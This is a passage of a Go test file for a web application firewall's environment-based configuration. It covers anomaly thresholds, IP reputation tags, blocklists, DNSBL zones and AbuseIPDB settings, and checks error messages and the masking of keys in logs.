t.Run(name, func(t *testing.T) { + t.Parallel() + + _, err := config.WAFFromEnvironment(environment{ + lookupSource: off, name: value, + }.viper()) + if err == nil || !strings.HasPrefix(err.Error(), name+": ") || + !strings.Contains(err.Error(), lookupSource+" is off") { + t.Errorf( + "error %v, want one naming %s and %s", + err, + name, + lookupSource, + ) + } + }) + } + + // Set empty, the lists need nothing looked up, and nor does + // SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT at 100, which lowers no limit, a tag the + // lookup does not give, an anomaly threshold per AS number that is off, + // any other anomaly threshold, or a blocklist. + env := environment{ + lookupSource: off, allowedCountries: "", asnBytesLimitPercent: "", + tagLists: "torexit=https://example.com/tor.txt,vpn=https://example.com/vpn.txt", + tagDeny: torExitTag, tagLimitPercent: "vpn:50", + countryBytesLimitPercent: "", unknownCountryLimitPercent: "100", + asnLimitPercentURL: "", + blocklistURLs: dropURL, + } + for _, name := range anomalyThresholds() { + env[name] = "1000" + if strings.HasPrefix(name, anomalyASN) { + env[name] = off + } + } + + wafFromEnvironment(t, env) +} + +func TestAnomalySettingsDefaults(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment(t, environment{}) + wantAllOff(t, cfg) + + if cfg.AnomalyNetV4Prefix != 24 || cfg.AnomalyNetV6Prefix != 48 || + len(cfg.AnomalyWatchedNets) != 0 { + t.Errorf( + "%s, %s and %s gave %d, %d and %v, want 24, 48 and none", + anomalyNetV4Prefix, + anomalyNetV6Prefix, + anomalyWatchedNets, + cfg.AnomalyNetV4Prefix, + cfg.AnomalyNetV6Prefix, + cfg.AnomalyWatchedNets, + ) + } +} + +func TestAnomalySettingsAsSet(t *testing.T) { + t.Parallel() + + // Each threshold of a scope its own value; bytes are sizes. + env := environment{ + anomalyNetV4Prefix: "16", + anomalyNetV6Prefix: "56", + // Spaces around a name or a netblock, and a bare address. + anomalyWatchedNets: "office = 203.0.113.0/24, " + + "scraper-x=198.51.100.7,v6=2001:db8::/32", + } + want := map[string]anomaly.Thresholds{} + + for i, scope := range anomalyScopes() { + n := int64(i + 1) + env[scope+requestsPerMinute] = strconv.FormatInt(n, 10) + env[scope+requestsPerHour] = strconv.FormatInt(10*n, 10) + env[scope+bytesPerMinute] = strconv.FormatInt(n, 10) + "K" + env[scope+bytesPerHour] = strconv.FormatInt(n, 10) + "G" + want[scope] = anomaly.Thresholds{ + RequestsPerMinute: n, RequestsPerHour: 10 * n, + BytesPerMinute: n << 10, BytesPerHour: n << 30, + } + } + + cfg := wafFromEnvironment(t, env) + + if got := thresholdsByScope(cfg); !maps.Equal(got, want) { + t.Errorf("thresholds by scope\n%+v\nwant\n%+v", got, want) + } + + wantNamed := []anomaly.NamedNetblock{ + {Name: "office", Netblock: netip.MustParsePrefix("203.0.113.0/24")}, + { + Name: "scraper-x", + Netblock: netip.MustParsePrefix("198.51.100.7/32"), + }, + {Name: "v6", Netblock: netip.MustParsePrefix("2001:db8::/32")}, + } + if cfg.AnomalyNetV4Prefix != 16 || cfg.AnomalyNetV6Prefix != 56 || + !slices.Equal(cfg.AnomalyWatchedNets, wantNamed) { + t.Errorf( + "%s, %s and %s gave %d, %d and %v, want 16, 56 and %v", + anomalyNetV4Prefix, + anomalyNetV6Prefix, + anomalyWatchedNets, + cfg.AnomalyNetV4Prefix, + cfg.AnomalyNetV6Prefix, + cfg.AnomalyWatchedNets, + wantNamed, + ) + } + + // off switches each threshold off. + for _, name := range anomalyThresholds() { + env[name] = off + } + + wantAllOff(t, wafFromEnvironment(t, env)) +} + +// thresholdsByScope returns cfg's anomaly thresholds, each by the prefix +// of its scope's settings. +func thresholdsByScope(cfg *config.WAF) map[string]anomaly.Thresholds { + return map[string]anomaly.Thresholds{ + anomalyClient: cfg.AnomalyClient, anomalyNet: cfg.AnomalyNet, + anomalyASN: cfg.AnomalyASN, anomalyTotal: cfg.AnomalyTotal, + anomalyWatchedNet: cfg.AnomalyWatchedNet, + } +} + +// wantAllOff checks that every anomaly threshold of cfg is off. +func wantAllOff(t *testing.T, cfg *config.WAF) { + t.Helper() + + for scope, thresholds := range thresholdsByScope(cfg) { + if thresholds != (anomaly.Thresholds{}) { + t.Errorf("%s* gave %+v, want every one off", scope, thresholds) + } + } +} + +func TestInvalidAnomalySettingStopsTheStartSayingWhatIsWrong(t *testing.T) { + t.Parallel() + + const ( + notCount = " is not a whole number of requests such as 1000, or off" + notSize = " is not a size such as 512K, 100M or 5G, or off" + notPositive = " must be more than zero, or off" + notNamed = " is not a name, = and a netblock, such as office=203.0.113.0/24" + notNetblock = " is not a netblock such as 10.0.0.0/8, or an address" + notV4Prefix = " is not the length of an IPv4 netblock, from 0 to 32, such as 24" + notV6Prefix = " is not the length of an IPv6 netblock, from 0 to 128, such as 48" + officeNetblock = "office=203.0.113.0/24" + scraperNetblock = "scraper=198.51.100.0/24" + ) + + for _, tc := range []struct{ name, value, want string }{ + {anomalyClient + requestsPerMinute, "1K", `"1K"` + notCount}, + {anomalyNet + requestsPerHour, "0", `"0"` + notPositive}, + {anomalyTotal + bytesPerMinute, "1T", `"1T"` + notSize}, + {anomalyWatchedNet + bytesPerHour, "-1G", `"-1G"` + notPositive}, + {anomalyNetV4Prefix, "33", `"33"` + notV4Prefix}, + {anomalyNetV4Prefix, off, `"off"` + notV4Prefix}, + {anomalyNetV6Prefix, "129", `"129"` + notV6Prefix}, + {anomalyNetV6Prefix, "/48", `"/48"` + notV6Prefix}, + {anomalyWatchedNets, "office", `"office"` + notNamed}, + {anomalyWatchedNets, "=203.0.113.0/24", `"=203.0.113.0/24"` + notNamed}, + {anomalyWatchedNets, "office=203.0.113.300/24", `"203.0.113.300/24"` + notNetblock}, + { + anomalyWatchedNets, officeNetblock + ",", + `"` + officeNetblock + `," has an empty item in its list`, + }, + { + anomalyWatchedNets, officeNetblock + "," + scraperNetblock + ",office=192.0.2.0/24", + `"office" is listed twice`, + }, + } { + t.Run(tc.name+"="+tc.value, func(t *testing.T) { + t.Parallel() + + _, err := config.WAFFromEnvironment( + environment{tc.name: tc.value}.viper(), + ) + + want := tc.name + ": " + tc.want + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } +} + +// torExitTag, zenTag and exploitTag are tags these tests name. +const ( + torExitTag = "torexit" + zenTag = "dnsbl=zen.example" + exploitTag = "exploitsignature" +) + +func TestTagSettingsAsSet(t *testing.T) { + t.Parallel() + + const torURL = "https://example.com/tor.txt" + + // Names and tags in either case, an AS number with leading zeros, and a + // name holding a =. + cfg := wafFromEnvironment(t, environment{ + tagLists: "TorExit=" + torURL + + ", vpn=mullvad=https://example.com/mullvad.txt", + dnsblZones: "Zen.example", + tagDeny: "TorExit, Country=kp, asn=014061", + tagLimitPercent: "vpn=mullvad :50, asn=014061:25, COUNTRY=cn:1, dnsbl=zen.example:99", + }) + + wantLists := []config.TagList{ + {Name: torExitTag, URL: torURL}, + {Name: "vpn=mullvad", URL: "https://example.com/mullvad.txt"}, + } + if !slices.Equal(cfg.TagLists, wantLists) { + t.Errorf("%s gave %+v, want %+v", tagLists, cfg.TagLists, wantLists) + } + + wantDeny := []string{torExitTag, "country=KP", "asn=14061"} + if !slices.Equal(cfg.TagDeny, wantDeny) { + t.Errorf("%s gave %v, want %v", tagDeny, cfg.TagDeny, wantDeny) + } + + wantPercents := map[string]int64{ + "vpn=mullvad": 50, "asn=14061": 25, "country=CN": 1, zenTag: 99, + } + if !maps.Equal(cfg.TagLimitPercent, wantPercents) { + t.Errorf( + "%s gave %v, want %v", + tagLimitPercent, + cfg.TagLimitPercent, + wantPercents, + ) + } +} + +func TestRouteWatchURLAndPrefixTags(t *testing.T) { + t.Parallel() + + const rw = "https://routewatch.example" + + if cfg := wafFromEnvironment(t, environment{}); cfg.RouteWatchURL != "" { + t.Errorf( + "default %s is %q, want unset", + routeWatchURL, + cfg.RouteWatchURL, + ) + } + + cfg := wafFromEnvironment(t, environment{ + routeWatchURL: rw, tagDeny: "prefix=2001:DB8::/32", + tagLimitPercent: "prefix=192.0.2.0/24:50", + }) + wantDeny := []string{"prefix=2001:db8::/32"} + + if cfg.RouteWatchURL != rw || !slices.Equal(cfg.TagDeny, wantDeny) || + cfg.TagLimitPercent["prefix=192.0.2.0/24"] != 50 { + t.Errorf( + "gave %q, %v, %v", + cfg.RouteWatchURL, + cfg.TagDeny, + cfg.TagLimitPercent, + ) + } + + // routewatch gives asn= tags too, so an asn= tag needs no lookups while it is set. + wafFromEnvironment(t, environment{ + lookupSource: off, routeWatchURL: rw, tagDeny: "asn=64496", + }) + + for _, stopped := range []struct { + env environment + name string + }{ + {environment{routeWatchURL: "ftp://routewatch.example"}, routeWatchURL}, + {environment{routeWatchURL: "routewatch.example"}, routeWatchURL}, + {environment{tagDeny: "prefix=192.0.2.0/24"}, tagDeny}, + {environment{routeWatchURL: rw, tagDeny: "prefix=nowhere"}, tagDeny}, + {environment{routeWatchURL: rw, tagDeny: "prefix=192.0.2.5/24"}, tagDeny}, + { + environment{routeWatchURL: rw, tagLimitPercent: "prefix=192.0.2.0/33:50"}, + tagLimitPercent, + }, + {environment{lookupSource: off, routeWatchURL: rw, tagDeny: "country=DE"}, tagDeny}, + {environment{lookupSource: off, tagDeny: "asn=64496"}, tagDeny}, + } { + _, err := config.WAFFromEnvironment(stopped.env.viper()) + if err == nil || !strings.HasPrefix(err.Error(), stopped.name+": ") { + t.Errorf( + "%v gave the error %v, want one naming %s", + stopped.env, + err, + stopped.name, + ) + } + } + + badURL := environment{routeWatchURL: "ftp://routewatch.example"} + _, err := config.WAFFromEnvironment(badURL.viper()) + + want := routeWatchURL + `: "ftp://routewatch.example" is not an http or https URL ` + + "without a user or a fragment, such as https://routewatch.example" + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } +} + +func TestTagThatNoRequestCanGetIsToldApartFromOneItCan(t *testing.T) { + t.Parallel() + + const ( + list = "torexit=https://example.com/tor.txt" + key = "abc123" + zone = key + ".xbl.dq.spamhaus.net" + masked = "********.xbl.dq.spamhaus.net" + ) + + for _, tc := range []struct { + name string + env environment + want string // "" is accepted + }{ + {"a list's name", environment{tagLists: list, tagDeny: torExitTag}, ""}, + { + "a mistyped list's name", environment{tagLists: list, tagDeny: "torexti"}, + `"torexti"`, + }, + {"a masked zone", environment{dnsblZones: zone, tagDeny: "dnsbl=" + masked}, ""}, + { + "a zone with its key", environment{dnsblZones: zone, tagDeny: "dnsbl=" + zone}, + masked, + }, + {"another zone", environment{dnsblZones: zone, tagDeny: zenTag}, zenTag}, + { + "abuseipdb with a key", + environment{abuseIPDBKey: "k", tagLimitPercent: "abuseipdb:50"}, "", + }, + {exploitTag, environment{tagDeny: exploitTag}, ""}, + { + exploitTag + " with rule files off", + environment{tagDeny: exploitTag, ruleFilesEnabled: disabled}, "", + }, + { + exploitTag + " with the Core Rule Set off", + environment{tagDeny: exploitTag, coreRuleSetMode: off}, "", + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + _, err := config.WAFFromEnvironment(tc.env.viper()) + + switch { + case tc.want == "" && err != nil: + t.Errorf("error %v, want none", err) + case tc.want != "" && (err == nil || !strings.Contains(err.Error(), tc.want)): + t.Errorf("error %v, want one holding %s", err, tc.want) + case err != nil && strings.Contains(err.Error(), key): + t.Errorf("error %v shows the zone's key", err) + } + }) + } +} + +func TestErrorOfATagSettingLeavesOutAZoneKey(t *testing.T) { + t.Parallel() + + const ( + tag = "dnsbl=" + spamhaus + emptyItem = "has an empty item in its list" + twice = `"` + spamhausMasked + `" is listed twice` + ) + + for _, tc := range []struct{ name, value, want string }{ + {tagDeny, tag + "," + tag, twice}, + {tagDeny, tag + ",,", emptyItem}, + { + tagLimitPercent, tag, + `"` + spamhausMasked + `" is not a tag, : and a percentage, ` + + "such as vpn:50 or asn=14061:25", + }, + { + tagLimitPercent, "50:" + tag, + `"` + spamhausMasked + `" is not a percentage from 1 to 99`, + }, + {tagLimitPercent, tag + ":50," + tag + " :25", twice}, + {tagLimitPercent, tag + ":50,,", emptyItem}, + } { + _, err := config.WAFFromEnvironment( + environment{tc.name: tc.value}.viper(), + ) + + want := tc.name + ": " + tc.want + if err == nil || err.Error() != want { + t.Errorf( + "%s=%s gave the error %v, want %s", + tc.name, + tc.value, + err, + want, + ) + } + } +} + +func TestTagListURLFetchedAsAnotherListStopsTheStart(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name, listURL string + env environment + }{ + {"a blocklist", dropURL, environment{blocklistURLs: dropURL}}, + {"the file of AS:percent lines", asnURL, environment{asnLimitPercentURL: asnURL}}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + tc.env[tagLists] = "dup=" + tc.listURL + + want := tagLists + `: "` + tc.listURL + `" is in SWW_WAF_BLOCKLIST_URLS ` + + "or is SWW_WAF_ASN_LIMIT_PERCENT_URL too" + + _, err := config.WAFFromEnvironment(tc.env.viper()) + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } +} + +func TestBiasedThresholdsAsSet(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment(t, environment{}) + if len(cfg.ASNBytesLimitPercent) != 0 || + len(cfg.CountryBytesLimitPercent) != 0 || + cfg.UnknownCountryLimitPercent != 100 { + t.Errorf( + "biased thresholds %v, %v and %d by default, "+ + "want two empty lists and 100", + cfg.ASNBytesLimitPercent, + cfg.CountryBytesLimitPercent, + cfg.UnknownCountryLimitPercent, + ) + } + + // AS numbers and countries in either case, an AS number with leading + // zeros, 0 and 100. + cfg = wafFromEnvironment(t, environment{ + asnBytesLimitPercent: "as16276:75", + countryBytesLimitPercent: "ru:10", + unknownCountryLimitPercent: "0", + }) + + for name, tc := range map[string]struct{ got, want map[string]int64 }{ + asnBytesLimitPercent: {cfg.ASNBytesLimitPercent, map[string]int64{"AS16276": 75}}, + countryBytesLimitPercent: {cfg.CountryBytesLimitPercent, map[string]int64{"RU": 10}}, + } { + if !maps.Equal(tc.got, tc.want) { + t.Errorf("%s gave %v, want %v", name, tc.got, tc.want) + } + } + + if cfg.UnknownCountryLimitPercent != 0 { + t.Errorf( + "%s gave %d, want 0", + unknownCountryLimitPercent, + cfg.UnknownCountryLimitPercent, + ) + } +} + +func TestInvalidBiasedThresholdStopsTheStartSayingWhatIsWrong(t *testing.T) { + t.Parallel() + + const ( + notASN = " is not an AS number such as AS64496" + notItem = " is not a code, : and a percentage, such as AS64496:50 or cn:25" + notPercent = " is not a percentage, a whole number from 0 to 100" + ) + + for _, tc := range []struct{ name, value, want string }{ + {asnBytesLimitPercent, "14061:50", `"14061"` + notASN}, + {asnBytesLimitPercent, "AS4294967296:50", `"AS4294967296"` + notASN}, + {asnBytesLimitPercent, "AS14061", `"AS14061"` + notItem}, + {asnBytesLimitPercent, "AS14061:101", `"101"` + notPercent}, + {asnBytesLimitPercent, "AS14061:50,as14061:25", `"as14061" is listed twice`}, + { + countryBytesLimitPercent, "nk:25", + `"nk" is not a two-letter country code such as de or kp`, + }, + {countryBytesLimitPercent, "cn:25,CN:50", `"CN" is listed twice`}, + {asnBytesLimitPercent, "AS14061:-1", `"-1"` + notPercent}, + {countryBytesLimitPercent, "cn:50%", `"50%"` + notPercent}, + {unknownCountryLimitPercent, "101", `"101"` + notPercent}, + {unknownCountryLimitPercent, off, `"off"` + notPercent}, + } { + t.Run(tc.name+"="+tc.value, func(t *testing.T) { + t.Parallel() + + _, err := config.WAFFromEnvironment( + environment{tc.name: tc.value}.viper(), + ) + + want := tc.name + ": " + tc.want + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } +} + +// dropURL and torURL are blocklists, and asnURL a file of AS:percent +// lines. +const ( + dropURL = "https://www.spamhaus.org/drop/drop.txt" + torURL = "https://lists.example/tor-exits.txt" + asnURL = "https://lists.example/asn.txt" +) + +// The actions of SWW_WAF_BLOCKLIST_ACTION, as config.WAF gives them. +const ( + actionDeny = "deny" + actionLimit = "limit" + actionLog = "log" +) + +func TestReputationSettingsAsSet(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment(t, environment{}) + if len(cfg.BlocklistURLs) != 0 || cfg.BlocklistRefresh != 24*time.Hour || + cfg.BlocklistAction != actionDeny || cfg.ASNLimitPercentURL != "" { + t.Errorf( + "%s, %s, %s and %s gave %v, %s, %s and %q by default, "+ + "want none, 24h, deny and none", + blocklistURLs, + blocklistRefresh, + blocklistAction, + asnLimitPercentURL, + cfg.BlocklistURLs, + cfg.BlocklistRefresh, + cfg.BlocklistAction, + cfg.ASNLimitPercentURL, + ) + } + + for _, tc := range []struct { + value, action string + percent int64 + }{ + {actionDeny, actionDeny, 0}, + {actionLog, actionLog, 0}, + {"limit:25", actionLimit, 25}, + {"limit:0", actionLimit, 0}, + } { + // An hour, the shortest refresh allowed. + cfg := wafFromEnvironment(t, environment{ + blocklistURLs: dropURL + ", " + torURL, blocklistRefresh: "1h", + blocklistAction: tc.value, asnLimitPercentURL: asnURL, + }) + + if !slices.Equal(cfg.BlocklistURLs, []string{dropURL, torURL}) || + cfg.BlocklistRefresh != time.Hour || cfg.BlocklistAction != tc.action || + cfg.BlocklistLimitPercent != tc.percent || cfg.ASNLimitPercentURL != asnURL { + t.Errorf( + "%s=%s gave %v, %s, %s, %d and %s", + blocklistAction, + tc.value, + cfg.BlocklistURLs, + cfg.BlocklistRefresh, + cfg.BlocklistAction, + cfg.BlocklistLimitPercent, + cfg.ASNLimitPercentURL, + ) + } + } +} + +func TestInvalidReputationSettingStopsTheStartSayingWhatIsWrong( + t *testing.T, +) { + t.Parallel() + + const ( + notURL = " is not an http or https URL without a user or a fragment, " + + "such as https://www.spamhaus.org/drop/drop.txt" + notAnHour = " is not a duration of 1h or more, such as 24h" + notAction = " is not deny, limit: such as limit:25, or log" + ) + + for _, tc := range []struct{ name, value, want string }{ + { + blocklistURLs, "ftp://lists.example/drop.txt", + `"ftp://lists.example/drop.txt"` + notURL, + }, + {blocklistURLs, "lists.example/drop.txt", `"lists.example/drop.txt"` + notURL}, + { + blocklistURLs, "https://me:secret@lists.example/drop.txt", + `"https://me:secret@lists.example/drop.txt"` + notURL, + }, + { + blocklistURLs, dropURL + "," + torURL + "," + dropURL, + `"` + dropURL + `" is listed twice`, + }, + {asnLimitPercentURL, asnURL + "#top", `"` + asnURL + `#top"` + notURL}, + {blocklistRefresh, "59m", `"59m"` + notAnHour}, + {blocklistRefresh, off, `"off"` + notAnHour}, + {blocklistRefresh, "a day", `"a day"` + notAnHour}, + {blocklistAction, "block", `"block"` + notAction}, + {blocklistAction, actionLimit, `"limit"` + notAction}, + {blocklistAction, "limit:101", `"limit:101"` + notAction}, + } { + t.Run(tc.name+"="+tc.value, func(t *testing.T) { + t.Parallel() + + _, err := config.WAFFromEnvironment( + environment{tc.name: tc.value}.viper(), + ) + + want := tc.name + ": " + tc.want + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } +} + +func TestASNLimitPercentURLThatIsABlocklistStopsTheStart(t *testing.T) { + t.Parallel() + + _, err := config.WAFFromEnvironment(environment{ + blocklistURLs: dropURL + "," + asnURL, asnLimitPercentURL: asnURL, + }.viper()) + + want := asnLimitPercentURL + `: "` + asnURL + `" is in SWW_WAF_BLOCKLIST_URLS too` + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } +} + +// dronebl is a DNSBL zone, and spamhaus one of Spamhaus's, a name +// containing spamhausKey, the key of its keyed query service, which the +// log shows as spamhausMasked. +const ( + dronebl = "dnsbl.dronebl.org" + spamhausKey = "abcdefghijklmnopqrstuvwxyz" + spamhaus = spamhausKey + ".xbl.dq.spamhaus.net" + spamhausMasked = "********.xbl.dq.spamhaus.net" +) + +func TestDNSBLSettingsAsSet(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment(t, environment{}) + if len(cfg.DNSBLZones) != 0 || cfg.DNSBLResolver.IsValid() || + cfg.DNSBLAbuseIPDBAction != actionLimit || + cfg.DNSBLAbuseIPDBLimitPercent != 25 || + cfg.IPReputationCacheTTL != 24*time.Hour || + cfg.DNSBLAbuseIPDBTimeout != 2*time.Second { + t.Errorf( + "by default, the zones %v, the resolver %s, the action %s:%d, the TTL %s "+ + "and the timeout %s, want no zone, no resolver, limit:25, 24h and 2s", + cfg.DNSBLZones, + cfg.DNSBLResolver, + cfg.DNSBLAbuseIPDBAction, + cfg.DNSBLAbuseIPDBLimitPercent, + cfg.IPReputationCacheTTL, + cfg.DNSBLAbuseIPDBTimeout, + ) + } + + // The longest zone allowed, of 189 characters, with labels of 63, the + // longest allowed. + longest := strings.Repeat("a", 63) + "." + strings.Repeat("b", 63) + + "." + strings.Repeat("c", 61) + + for _, tc := range []struct { + zones, resolver, action string + // want are the zones, resolver, action and percent config.WAF gives. + want []string + wantResolver string + wantAction string + wantPercent int64 + }{ + { + dronebl + ", " + spamhaus, "192.0.2.53", actionDeny, + []string{dronebl, spamhaus}, "192.0.2.53:53", actionDeny, 0, + }, + { + longest, "192.0.2.53:5353", actionLog, + []string{longest}, "192.0.2.53:5353", actionLog, 0, + }, + { + "Dnsbl-1.Example", "2001:db8::53", "limit:10", + []string{"Dnsbl-1.Example"}, "[2001:db8::53]:53", actionLimit, 10, + }, + { + dronebl, "[2001:db8::53]:5353", "limit:0", + []string{dronebl}, "[2001:db8::53]:5353", actionLimit, 0, + }, + } { + cfg := wafFromEnvironment(t, environment{ + dnsblZones: tc.zones, dnsblResolver: tc.resolver, dnsblAbuseIPDBAction: tc.action, + ipReputationCacheTTL: "12h", dnsblAbuseIPDBTimeout: "3000", + }) + + if !slices.Equal(cfg.DNSBLZones, tc.want) || + cfg.DNSBLResolver.String() != tc.wantResolver || + cfg.DNSBLAbuseIPDBAction != tc.wantAction || + cfg.DNSBLAbuseIPDBLimitPercent != tc.wantPercent || + cfg.IPReputationCacheTTL != 12*time.Hour || + cfg.DNSBLAbuseIPDBTimeout != 3*time.Second { + t.Errorf( + "%s=%s, %s=%s and %s=%s gave %v, %s, %s:%d, %s and %s", + dnsblZones, + tc.zones, + dnsblResolver, + tc.resolver, + dnsblAbuseIPDBAction, + tc.action, + cfg.DNSBLZones, + cfg.DNSBLResolver, + cfg.DNSBLAbuseIPDBAction, + cfg.DNSBLAbuseIPDBLimitPercent, + cfg.IPReputationCacheTTL, + cfg.DNSBLAbuseIPDBTimeout, + ) + } + } +} + +func TestInvalidDNSBLSettingStopsTheStartSayingWhatIsWrong(t *testing.T) { + t.Parallel() + + const ( + notZone = " is not a DNS zone such as dnsbl.dronebl.org" + notResolver = " is not an IP address with an optional port, such as 192.0.2.53 " + + "or [2001:db8::53]:5353" + notAboveZero = " is not a duration above zero, such as 1h or 7d" + ) + + label64 := strings.Repeat("a", 64) + ".example" + tooLong := strings.Repeat( + "a", + 63, + ) + "." + strings.Repeat( + "b", + 63, + ) + "." + + strings.Repeat( + "c", + 62, + ) + + for _, tc := range []struct{ name, value, want string }{ + {dnsblZones, "dnsbl..example", `"dnsbl..example"` + notZone}, + {dnsblZones, "dnsbl.example.", `"dnsbl.example."` + notZone}, + {dnsblZones, "-dnsbl.example", `"-dnsbl.example"` + notZone}, + {dnsblZones, "dnsbl-.example", `"dnsbl-.example"` + notZone}, + {dnsblZones, "dns_bl.example", `"dns_bl.example"` + notZone}, + {dnsblZones, label64, `"` + label64 + `"` + notZone}, + { + dnsblZones, tooLong, + `"` + tooLong + `" is longer than 189 characters, too long for the names ` + + `IPv6 clients are asked about by`, + }, + { + dnsblZones, dronebl + "," + spamhaus + "," + dronebl, + `"` + dronebl + `" is listed twice`, + }, + // DNS names ignore case. + {dnsblZones, "dnsbl.example,DNSBL.example", `"DNSBL.example" is listed twice`}, + {dnsblResolver, "resolver.example", `"resolver.example"` + notResolver}, + {dnsblResolver, "192.0.2.53:0", `"192.0.2.53:0"` + notResolver}, + {dnsblResolver, "192.0.2.53:65536", `"192.0.2.53:65536"` + notResolver}, + {dnsblResolver, "[2001:db8::53]", `"[2001:db8::53]"` + notResolver}, + { + dnsblAbuseIPDBAction, "ban", + `"ban" is not deny, limit: such as limit:25, or log`, + }, + {ipReputationCacheTTL, off, `"off"` + notAboveZero}, + { + dnsblAbuseIPDBTimeout, "2s", + `"2s" is not a whole number of milliseconds above zero, such as 2000`, + }, + } { + t.Run(tc.name+"="+tc.value, func(t *testing.T) { + t.Parallel() + + _, err := config.WAFFromEnvironment( + environment{tc.name: tc.value}.viper(), + ) + + want := tc.name + ": " + tc.want + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } +} + +func TestMaskZoneKeyMasksTheFirstLabelOfAZoneUnderDqSpamhausNet( + t *testing.T, +) { + t.Parallel() + + for zone, want := range map[string]string{ + spamhaus: spamhausMasked, + spamhaus + ".": spamhausMasked + ".", + "KEY.ZEN.DQ.SPAMHAUS.NET": "********.ZEN.DQ.SPAMHAUS.NET", + dronebl: dronebl, + "dq.spamhaus.net": "dq.spamhaus.net", + spamhaus + ".example": spamhaus + ".example", + } { + if got := config.MaskZoneKey(zone); got != want { + t.Errorf("MaskZoneKey(%q) is %q, want %q", zone, got, want) + } + } +} + +func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment( + t, + environment{dnsblZones: dronebl + ", " + spamhaus}, + ) + + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)). + Info("starting", "settings", cfg) + + logged := out.String() + if strings.Contains(logged, spamhausKey) || + !strings.Contains( + logged, + `"`+dnsblZones+`":"`+dronebl+","+spamhausMasked+`"`, + ) { + t.Errorf("the zones are not logged with the key masked: %s", logged) + } + + // Nor does an error that stops the start show a key, in any case. + const ( + notZone = " is not a DNS zone such as dnsbl.dronebl.org" + otherKey = "zyxwvutsrqponmlkjihgfedcba" + otherZone = otherKey + ".xbl.dq.spamhaus.net" + ) + + // 205 characters, 187 with the key masked. + labels := strings.Repeat("a", 63) + "." + strings.Repeat("b", 63) + "." + + strings.Repeat("c", 30) + ".xbl.dq.spamhaus.net" + + for _, tc := range []struct{ value, want string }{ + {spamhaus + ".", `"` + spamhausMasked + `."` + notZone}, + {spamhausKey + "_.xbl.dq.spamhaus.net", `"` + spamhausMasked + `"` + notZone}, + { + spamhausKey + "." + labels, + `"********.` + labels + `" is longer than 189 characters, too long ` + + `for the names IPv6 clients are asked about by`, + }, + { + spamhaus + "," + strings.ToUpper(spamhaus), + `"********.XBL.DQ.SPAMHAUS.NET" is listed twice`, + }, + {spamhaus + "," + otherZone, `"` + spamhausMasked + `" is listed twice`}, + {spamhaus + ",,", "has an empty item in its list"}, + } { + _, err := config.WAFFromEnvironment( + environment{dnsblZones: tc.value}.viper(), + ) + + want := dnsblZones + ": " + tc.want + if err == nil || err.Error() != want { + t.Errorf( + "%s=%s gave the error %v, want %s", + dnsblZones, + tc.value, + err, + want, + ) + } + } +} + +func TestAbuseIPDBSettingsAsSet(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment(t, environment{}) + if cfg.AbuseIPDBKey != "" || cfg.AbuseIPDBMinScore != 75 || + cfg.AbuseIPDBDailyBudget != 900 { + t.Errorf( + "by default, the key %q, the minimum score %d and the daily budget %d, "+ + "want none, 75 and 900", + cfg.AbuseIPDBKey, + cfg.AbuseIPDBMinScore, + cfg.AbuseIPDBDailyBudget, + ) + } + + cfg = wafFromEnvironment(t, environment{ + abuseIPDBKey: token, abuseIPDBMinScore: "0", abuseIPDBDailyBudget: "1", + }) + if cfg.AbuseIPDBKey != token || cfg.AbuseIPDBMinScore != 0 || + cfg.AbuseIPDBDailyBudget != 1 { + t.Errorf( + "set, the key %q, the minimum score %d and the daily budget %d, "+ + "want %s, 0 and 1", + cfg.AbuseIPDBKey, + cfg.AbuseIPDBMinScore, + cfg.AbuseIPDBDailyBudget, + token, + ) + } +} + +func TestInvalidAbuseIPDBSettingStopsTheStartSayingWhatIsWrong( + t *testing.T, +) { + t.Parallel() + + const ( + notScore = " is not a percentage, a whole number from 0 to 100" + notBudget = " is not a whole number above zero, such as 5000" + ) + + for _, tc := range []struct{ name, value, want string }{ + {abuseIPDBMinScore, "101", `"101"` + notScore}, + {abuseIPDBMinScore, off, `"off"` + notScore}, + {abuseIPDBDailyBudget, "0", `"0"` + notBudget}, + {abuseIPDBDailyBudget, off, `"off"` + notBudget}, + // The key itself is never shown. + { + abuseIPDBKey, token + "\r", + "holds a control character, such as the carriage return of a Windows line end", + }, + } { + t.Run(tc.name+"="+tc.value, func(t *testing.T) { + t.Parallel() + + _, err := config.WAFFromEnvironment( + environment{tc.name: tc.value}.viper(), + ) + + want := tc.name + ": " + tc.want + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } +} + +func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment(t, environment{abuseIPDBKey: token}) + + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)). + Info("starting", "settings", cfg) + + logged := out.String() + if strings.Contains(logged, token) || + !strings.Contains(logged, `"`+abuseIPDBKey+`":"********"`) { + t.Errorf("the key is not logged masked: %s", logged) + } +} + +func TestSizesAndOff(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment(t, environment{ + bytesLimitPerMinute: "3G", + bytesLimitPerHour: off, + alertCooldown: off, + }) + + if cfg.BytesLimitPerMinute != 3<<30 || cfg.BytesLimitPerHour != 0 || + cfg.AlertCooldown != 0 { + t.Errorf( + "3G, off and off read as %d, %d and %s", + cfg.BytesLimitPerMinute, + cfg.BytesLimitPerHour, + cfg.AlertCooldown, + ) + } +} + +func TestRateLimitsOff(t *testing.T) { + t.Parallel() + + cfg := 